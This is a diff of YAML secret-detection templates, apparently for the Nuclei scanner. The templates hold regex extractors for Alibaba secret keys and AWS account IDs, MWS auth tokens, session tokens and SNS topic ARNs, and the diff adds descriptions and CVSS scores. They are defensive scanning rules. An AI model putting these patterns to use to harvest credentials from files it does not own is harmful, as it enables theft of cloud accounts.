+          - (?i)\b((LTAI)(?i)[a-z0-9]{20})(?:['|\"|\n|\r|\s|\x60|;]|$)

file/keys/alibaba/alibaba-secret-id.yaml

@@ -0,0 +1,22 @@
+id: alibaba-secret-id
+
+info:
+  name: Alibaba Secret Key ID
+  author: DhiyaneshDK
+  severity: info
+  reference:
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/alibaba-secret-key.yaml
+    - https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/alibaba-secret-key.go
+  metadata:
+    verified: true
+  tags: alibaba,secret,file,keys
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - (?i)(?:alibaba)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([a-z0-9]{30})(?:['|\"|\n|\r|\s|\x60|;]|$)

file/keys/amazon/amazon-account-id.yaml

@@ -1,13 +1,18 @@
 id: amazon-account-id
 
 info:
-  name: AWS Account ID
+  name: Amazon Web Services Account ID - Detect
   author: DhiyaneshDK
   severity: info
+  description: Amazon Web Services Account ID token was detected.
   reference:
     - https://github.com/praetorian-inc/noseyparker/blob/main/data/default/rules/aws.yml
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
-    verified: "true"
+    verified: true
   tags: aws,amazon,token,file
 
 file:
@@ -18,4 +23,6 @@ file:
       - type: regex
         part: body
         regex:
-          - '(?i)aws_?(?:account)_?(?:id)?["''`]?\s{0,30}(?::|=>|=)\s{0,30}["''`]?([0-9]{4}-?[0-9]{4}-?[0-9]{4})'
+          - '(?i)aws_?(?:account)_?(?:id)?["''`]?\s{0,30}(?::|=>|=)\s{0,30}["''`]?([0-9]{4}-?[0-9]{4}-?[0-9]{4})'
+
+# Enhanced by md on 2023/05/04

file/keys/amazon/amazon-mws-auth-token.yaml

@@ -1,9 +1,14 @@
 id: amazon-mws-auth-token-value
 
 info:
-  name: Amazon MWS Auth Token
+  name: Amazon MWS Authentication Token - Detect
   author: gaurang
   severity: medium
+  description: Amazon MWS authentication token was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cwe-id: CWE-200
   tags: token,file,amazon,auth
 
 file:
@@ -14,3 +19,5 @@ file:
       - type: regex
         regex:
           - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
+
+# Enhanced by md on 2023/05/04

file/keys/amazon/amazon-session-token.yaml

@@ -1,13 +1,18 @@
 id: amazon-session-token
 
 info:
-  name: Amazon Session Token
+  name: Amazon Session Token - Detect
   author: DhiyaneshDK
   severity: info
+  description: Amazon session token was detected.
   reference:
     - https://github.com/praetorian-inc/noseyparker/blob/main/data/default/rules/aws.yml
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
-    verified: "true"
+    verified: true
   tags: aws,amazon,token,file,session
 
 file:
@@ -18,4 +23,6 @@ file:
       - type: regex
         part: body
         regex:
-          - '(?i)(?:aws.?session|aws.?session.?token|aws.?token)["''`]?\s{0,30}(?::|=>|=)\s{0,30}["''`]?([a-z0-9/+=]{16,200})[^a-z0-9/+=]'
+          - '(?i)(?:aws.?session|aws.?session.?token|aws.?token)["''`]?\s{0,30}(?::|=>|=)\s{0,30}["''`]?([a-z0-9/+=]{16,200})[^a-z0-9/+=]'
+
+# Enhanced by md on 2023/05/04

file/keys/amazon/amazon-sns-token.yaml

@@ -1,9 +1,14 @@
 id: amazon-sns-token
 
 info:
-  name: Amazon SNS Token Detect
+  name: Amazon SNS Token - Detect
   author: TheBinitGhimire
   severity: info
+  description: Amazon SNS token was detected.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: file,token,amazon,aws
 
 file:
@@ -15,3 +20,5 @@ file:
         name: amazon-sns-topic
         regex:
           - 'arn:aws:sns:[a-z0-9\-]+:[0-9]+:[A-Za-z0-9\-_]+'
+
+# Enhanced by md on 2023/05/04